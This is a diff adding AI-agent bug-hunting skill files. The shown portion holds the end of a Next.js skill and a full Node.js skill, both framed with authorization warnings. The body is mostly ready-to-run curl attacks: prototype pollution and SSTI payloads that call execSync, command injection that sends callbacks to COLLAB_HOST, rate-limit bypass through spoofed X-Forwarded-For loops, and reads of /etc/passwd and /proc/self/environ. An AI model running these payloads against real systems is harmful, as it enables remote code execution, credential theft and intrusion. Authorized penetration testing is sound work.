|
201
|
+
# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
|
|
202
|
+
# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
|
|
203
|
+
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
|
|
204
|
+
|
|
205
|
+
# On-demand revalidation endpoint (if exposed)
|
|
206
|
+
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
|
|
207
|
+
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Phase 7 — Debug & Stack Frame Endpoints
|
|
213
|
+
|
|
214
|
+
**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
|
|
215
|
+
are react-dev-overlay middleware mounted ONLY under `next dev`. A production
|
|
216
|
+
build (`next build && next start`) does not register these routes — a 404 here
|
|
217
|
+
is the normal, expected result, not a "filter" you need to bypass. They are
|
|
218
|
+
reachable ONLY in the rare misconfiguration of literally running `next dev` in
|
|
219
|
+
production. Treat any non-404 as the real finding; do NOT report a 404/filtered
|
|
220
|
+
response as confirmation.
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
|
|
224
|
+
curl -s -o /dev/null -w "%{http_code}" \
|
|
225
|
+
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
|
|
226
|
+
|
|
227
|
+
# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
|
|
228
|
+
# reference local files (file-read surface of a dev server wrongly exposed)
|
|
229
|
+
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
|
|
230
|
+
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
|
|
231
|
+
--data '{"file":"/etc/passwd","line":1,"column":1}'
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 8 — Environment Variable Leakage
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
|
|
240
|
+
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
|
|
241
|
+
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
|
|
242
|
+
|
|
243
|
+
# Check for non-public vars accidentally exposed
|
|
244
|
+
curl -s https://$TARGET/ | python3 -c "
|
|
245
|
+
import sys, re, json
|
|
246
|
+
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
|
|
247
|
+
if m:
|
|
248
|
+
d = json.loads(m.group(1))
|
|
249
|
+
print(json.dumps(d.get('props', {}), indent=2))
|
|
250
|
+
"
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
## Chain Table
|
|
256
|
+
|
|
257
|
+
| Next.js finding | Chain to | Impact |
|
|
258
|
+
|----------------|----------|--------|
|
|
259
|
+
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
|
|
260
|
+
| `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |
|
|
261
|
+
| `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |
|
|
262
|
+
| Middleware bypass | Protected admin routes | Auth bypass |
|
|
263
|
+
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
|
|
264
|
+
| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Validation
|
|
269
|
+
|
|
270
|
+
✅ Server Action: action executes without valid session, returns data or mutates state
|
|
271
|
+
✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF
|
|
272
|
+
✅ Middleware bypass: 200 response on protected route without auth cookie
|
|
273
|
+
✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII
|
|
274
|
+
|
|
275
|
+
**Severity:**
|
|
276
|
+
- Server Action auth bypass → data mutation: High/Critical
|
|
277
|
+
- Image SSRF → cloud metadata: Critical
|
|
278
|
+
- Middleware bypass → admin panel: High
|
|
279
|
+
- Source map exposure only: Low-Medium
|
|
280
|
+
|
|
281
|
+
## When to Use
|
|
282
|
+
|
|
283
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
284
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
285
|
+
|
|
286
|
+
## Limitations
|
|
287
|
+
|
|
288
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
289
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
290
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
291
|
+
|
|
292
|
+
### Example
|
|
293
|
+
|
|
294
|
+
```bash
|
|
295
|
+
# Read-only first step; confirm scope before anything active.
|
|
296
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-nodejs
|
|
3
|
+
description: Hunt Node.js specific vulnerabilities
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, snyk_research, portswigger_research
|
|
16
|
+
report_count: 24
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-NODEJS — Node.js Specific Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
|
|
37
|
+
|
|
38
|
+
**Highest-value chains:**
|
|
39
|
+
- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink
|
|
40
|
+
- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits
|
|
41
|
+
- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`
|
|
42
|
+
- **`child_process` injection** — user input interpolated into shell command string → OS command injection
|
|
43
|
+
- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Attack Surface Signals
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
X-Powered-By: Express Confirms Express.js
|
|
51
|
+
Node.js in error messages Runtime detected
|
|
52
|
+
package.json exposed Dependency list + versions
|
|
53
|
+
/proc/self/environ accessible Environment variable exfil
|
|
54
|
+
Error stack traces with .js paths Node.js confirmed
|
|
55
|
+
__proto__ in JSON accepted Prototype pollution candidate
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## Phase 1 — Fingerprint
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
# Confirm Node.js/Express
|
|
64
|
+
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
|
|
65
|
+
|
|
66
|
+
# Check for package.json / node_modules exposure
|
|
67
|
+
curl -s "https://$TARGET/package.json"
|
|
68
|
+
curl -s "https://$TARGET/package-lock.json"
|
|
69
|
+
curl -s "https://$TARGET/node_modules/.package-lock.json"
|
|
70
|
+
|
|
71
|
+
# Error-based version detection
|
|
72
|
+
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## Phase 2 — Prototype Pollution Detection
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# JSON body injection — test if __proto__ is accepted
|
|
81
|
+
curl -s -X POST https://$TARGET/api/merge \
|
|
82
|
+
-H "Content-Type: application/json" \
|
|
83
|
+
-d '{"__proto__": {"polluted": "yes"}}'
|
|
84
|
+
|
|
85
|
+
# Constructor prototype
|
|
86
|
+
curl -s -X POST https://$TARGET/api/settings \
|
|
87
|
+
-H "Content-Type: application/json" \
|
|
88
|
+
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
|
|
89
|
+
|
|
90
|
+
# URL query param injection (qs library)
|
|
91
|
+
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
|
|
92
|
+
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
|
|
93
|
+
|
|
94
|
+
# Confirm pollution: does a subsequent request reflect the polluted key?
|
|
95
|
+
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Phase 3 — Prototype Pollution → RCE Chain
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# If pollution is confirmed, attempt to reach dangerous sinks
|
|
104
|
+
|
|
105
|
+
# Sink 1: child_process via options.shell pollution
|
|
106
|
+
curl -s -X POST https://$TARGET/api/update \
|
|
107
|
+
-H "Content-Type: application/json" \
|
|
108
|
+
-d '{
|
|
109
|
+
"__proto__": {
|
|
110
|
+
"shell": "node",
|
|
111
|
+
"NODE_OPTIONS": "--require /proc/self/fd/0",
|
|
112
|
+
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
|
|
113
|
+
}
|
|
114
|
+
}'
|
|
115
|
+
|
|
116
|
+
# Sink 2: lodash template pollution (CVE-2021-23337)
|
|
117
|
+
curl -s -X POST https://$TARGET/api/render \
|
|
118
|
+
-H "Content-Type: application/json" \
|
|
119
|
+
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
|
|
120
|
+
|
|
121
|
+
# Sink 3: ejs template options pollution
|
|
122
|
+
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
|
|
123
|
+
curl -s -X POST https://$TARGET/api/template \
|
|
124
|
+
-H "Content-Type: application/json" \
|
|
125
|
+
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
|
|
126
|
+
|
|
127
|
+
# OOB confirmation — check Interactsh for callback
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Phase 4 — Express Trust Proxy Abuse
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
# If Express has trust proxy enabled, X-Forwarded-For is trusted
|
|
136
|
+
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
|
|
137
|
+
|
|
138
|
+
# Spoof IP to 127.0.0.1 (localhost bypass)
|
|
139
|
+
curl -s -X POST https://$TARGET/api/admin/action \
|
|
140
|
+
-H "X-Forwarded-For: 127.0.0.1" \
|
|
141
|
+
-H "Content-Type: application/json" \
|
|
142
|
+
-d '{"action": "test"}'
|
|
143
|
+
|
|
144
|
+
# Spoof to internal IP range
|
|
145
|
+
curl -s -X POST https://$TARGET/api/internal \
|
|
146
|
+
-H "X-Forwarded-For: 10.0.0.1" \
|
|
147
|
+
-H "X-Real-IP: 10.0.0.1"
|
|
148
|
+
|
|
149
|
+
# Rate limit bypass via rotating fake IPs
|
|
150
|
+
for i in $(seq 1 50); do
|
|
151
|
+
curl -s https://$TARGET/api/login \
|
|
152
|
+
-H "X-Forwarded-For: 1.2.3.$i" \
|
|
153
|
+
-d '{"email":"admin@test.com","password":"wrong"}' \
|
|
154
|
+
-o /dev/null -w "$i: %{http_code}\n"
|
|
155
|
+
done
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# EJS SSTI — if user input reaches EJS template context
|
|
164
|
+
# Test basic: <%= 7*7 %> should return 49
|
|
165
|
+
curl -s -X POST https://$TARGET/api/render \
|
|
166
|
+
-H "Content-Type: application/json" \
|
|
167
|
+
-d '{"template": "<%= 7*7 %>"}'
|
|
168
|
+
|
|
169
|
+
# EJS RCE payload
|
|
170
|
+
curl -s -X POST https://$TARGET/api/render \
|
|
171
|
+
-H "Content-Type: application/json" \
|
|
172
|
+
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
|
|
173
|
+
|
|
174
|
+
# Pug SSTI
|
|
175
|
+
curl -s -X POST https://$TARGET/api/render \
|
|
176
|
+
-H "Content-Type: application/json" \
|
|
177
|
+
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
|
|
178
|
+
|
|
179
|
+
# Handlebars — prototype pollution via template
|
|
180
|
+
curl -s -X POST https://$TARGET/api/render \
|
|
181
|
+
-H "Content-Type: application/json" \
|
|
182
|
+
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## Phase 6 — child_process Command Injection
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Look for endpoints that run shell commands with user input
|
|
191
|
+
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
|
|
192
|
+
|
|
193
|
+
# Basic injection test
|
|
194
|
+
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
|
|
195
|
+
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
|
|
196
|
+
curl -s -X POST https://$TARGET/api/exec \
|
|
197
|
+
-H "Content-Type: application/json" \
|
|
198
|
+
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
|
|
199
|
+
|
|
200
|
+
# OOB via DNS
|
|
201
|
+
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## Phase 7 — /proc/self/environ Exfil
|
|
207
|
+
|
|
208
|
+
```bash
|
|
209
|
+
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
|
|
210
|
+
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
|
|
211
|
+
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
|
|
212
|
+
|
|
213
|
+
# Also check:
|
|
214
|
+
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
|
|
215
|
+
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Chain Table
|
|
221
|
+
|
|
222
|
+
| Node.js finding | Chain to | Impact |
|
|
223
|
+
|----------------|----------|--------|
|
|
224
|
+
| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
|
|
225
|
+
| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
|
|
226
|
+
| SSTI in template engine | OS command execution | Critical RCE |
|
|
227
|
+
| child_process injection | `id && curl COLLAB_HOST` | Critical RCE |
|
|
228
|
+
| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## Validation
|
|
233
|
+
|
|
234
|
+
✅ Prototype pollution: key appears in subsequent API responses without being sent
|
|
235
|
+
✅ RCE chain: OOB callback received OR `id` output in response
|
|
236
|
+
✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
|
|
237
|
+
|
|
238
|
+
**Severity:**
|
|
239
|
+
- Prototype pollution → RCE: Critical
|
|
240
|
+
- SSTI → RCE: Critical
|
|
241
|
+
- child_process injection: Critical
|
|
242
|
+
- Trust proxy → rate limit bypass: Medium
|
|
243
|
+
- /proc/self/environ exfil: High (if cloud keys present)
|
|
244
|
+
|
|
245
|
+
## When to Use
|
|
246
|
+
|
|
247
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
248
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
249
|
+
|
|
250
|
+
## Limitations
|
|
251
|
+
|
|
252
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
253
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
254
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
255
|
+
|
|
256
|
+
### Example
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# Read-only first step; confirm scope before anything active.
|
|
260
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|